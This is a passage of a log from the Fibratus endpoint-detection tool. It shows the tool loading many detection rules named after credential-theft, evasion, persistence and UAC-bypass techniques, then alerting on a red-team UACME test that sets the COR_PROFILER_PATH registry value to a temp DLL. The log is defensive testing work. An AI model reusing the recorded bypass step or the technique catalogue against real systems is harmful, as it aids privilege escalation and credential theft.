+time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:16:32+01:00 level=info msg=bootstrapping with pid 12392. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:16:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-vamap=>true min-buffers=>16 enable-mem=>false enable-registry=>true stack-enrichment=>true enable-thread=>true enable-handle=>false flush-interval=>1s enable-dns=>false max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true buffer-size=>512 enable-fileio=>true enable-threadpool=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info formatter=>text log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ timeout=>5s template-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true index-name=>fibratus flush-period=>1s sniff=>false bulk-workers=>1 gzip-compression=>false enabled=>false] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json method=>POST enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ enabled=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 durable=>false passive=>false vhost=>/ timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true scan-timeout=>10s excluded-files=>[] enabled=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:16:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:16:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:16:47+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 6814897 + Pid: 16120 + Tid: 12772 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 21:16:39.2307991 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce8644b8bb50, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 16120 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T21:17:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:17:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:17:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:18:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from 